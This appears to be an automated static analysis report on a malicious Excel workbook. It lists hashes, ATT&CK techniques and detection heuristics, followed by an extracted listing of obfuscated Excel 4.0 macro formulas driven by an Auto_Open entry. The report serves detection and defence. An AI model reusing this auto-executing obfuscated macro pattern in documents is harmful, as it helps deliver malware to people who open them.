Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 37df58f564631512…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:48 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 87d037081f9766e27d6ad7964b29d086 SHA-1: 590c3df48ff844d2b7c4e267c44d23755af5033c SHA-256: 37df58f564631512bd4906c13511915d53ba6b2eb5c16a1491e1a69a0be8e6ab
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro sheet is designed to execute automatically upon opening the workbook. The presence of dangerous formula APIs like RUN further confirms the intent to execute arbitrary commands, likely leading to the download and execution of a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6575 bytes
SHA-256: 3f159e977da3e6f6659006bba0c5b1cc34be00b6e5a368765d0cd1e9aa6bb6d5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AWMfAJGr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     26 LABEL : Cell Value, String Constant - bDDFXxlahme len=0 
' 0018     25 LABEL : Cell Value, String Constant - bmHiijDmyi len=0 
' 0018     21 LABEL : Cell Value, String Constant - eyjhhJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - htbDJks len=0 
' 0018     27 LABEL : Cell Value, String Constant - IfjmrUvBIxaV len=0 
' 0018     22 LABEL : Cell Value, String Constant - JGvwUmV len=0 
' 0018     22 LABEL : Cell Value, String Constant - JOgwdBm len=0 
' 0018     20 LABEL : Cell Value, String Constant - kOVGM len=0 
' 0018     24 LABEL : Cell Value, String Constant - LrLlqtuzY len=0 
' 0018     25 LABEL : Cell Value, String Constant - mIcJRcJnei len=0 
' 0018     22 LABEL : Cell Value, String Constant - MyWKHqs len=0 
' 0018     20 LABEL : Cell Value, String Constant - pICwf len=0 
' 0018     21 LABEL : Cell Value, String Constant - QtJYJg len=0 
' 0018     23 LABEL : Cell Value, String Constant - RPnjXroa len=0 
' 0018     22 LABEL : Cell Value, String Constant - rpvoZAM len=0 
' 0018     25 LABEL : Cell Value, String Constant - RtZAloNakX len=0 
' 0018     22 LABEL : Cell Value, String Constant - TyuFSJg len=0 
' 0018     24 LABEL : Cell Value, String Constant - xmfQtprso len=0 
' 0018     26 LABEL : Cell Value, String Constant - XvKnKWAJMTp len=0 
' 0018     27 LABEL : Cell Value, String Constant - YkSMBiWztELs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AWMfAJGr,E67,"SET.NAME("JGvwUmV",VALUE("0"))",""
'  AWMfAJGr,E70,"SET.NAME("LrLlqtuzY",JGvwUmV)",""
'  AWMfAJGr,E75,"SET.NAME("mIcJRcJnei",JGvwUmV)",""
'  AWMfAJGr,E78,"SET.NAME("YkSMBiWztELs",COUNTA(eyjhhJ))",""
'  AWMfAJGr,E82,"SET.NAME("rpvoZAM",COUNTA(JOgwdBm))",""
'  AWMfAJGr,E84,[],""
'  AWMfAJGr,E87,"SET.NAME("kOVGM","")",""
'  AWMfAJGr,E89,"LrLlqtuzY",""
'  AWMfAJGr,E93,"SET.NAME("TyuFSJg",HLOOKUP("*",eyjhhJ,LrLlqtuzY,FALSE))",""
'  AWMfAJGr,E96,"IfjmrUvBIxaV",""
'  AWMfAJGr,E100,"SET.NAME("htbDJks",JGvwUmV)",""
'  AWMfAJGr,E103,[],""
'  AWMfAJGr,E105,"htbDJks",""
'  AWMfAJGr,E108,"RtZAloNakX",""
'  AWMfAJGr,E113,"RPnjXroa",""
'  AWMfAJGr,E115,"xmfQtprso",""
'  AWMfAJGr,E119,"SET.NAME("MyWKHqs",VALUE(HLOOKUP("*",JOgwdBm,xmfQtprso,FALSE)))",""
'  AWMfAJGr,E124,"QtJYJg",""
'  AWMfAJGr,E126,"kOVGM",""
'  AWMfAJGr,E129,"mIcJRcJnei",""
'  AWMfAJGr,E131,NEXT(),""
'  AWMfAJGr,E135,"bDDFXxlahme",""
'  AWMfAJGr,E138,"SET.NAME("f",INT(T(FORMULA(T(kOVGM)&"",""&T(bDDFXxlahme)))))",""
'  AWMfAJGr,E142,"pICwf",""
'  AWMfAJGr,E145,NEXT(),""
'  AWMfAJGr,E150,RETURN(),""
'  AWMfAJGr,E179,"SET.NAME("XvKnKWAJMTp",E67)",""
'  AWMfAJGr,E181,"eyjhhJ",""
'  AWMfAJGr,E184,"SET.NAME("JOgwdBm",R88C12)",""
'  AWMfAJGr,E189,"SET.NAME("pICwf",195)",""
'  AWMfAJGr,E191,"SET.NAME("bmHiijDmyi",5)",""
'  AWMfAJGr,E194,XvKnKWAJMTp(),""
'  AWMfAJGr,E195,HALT(),""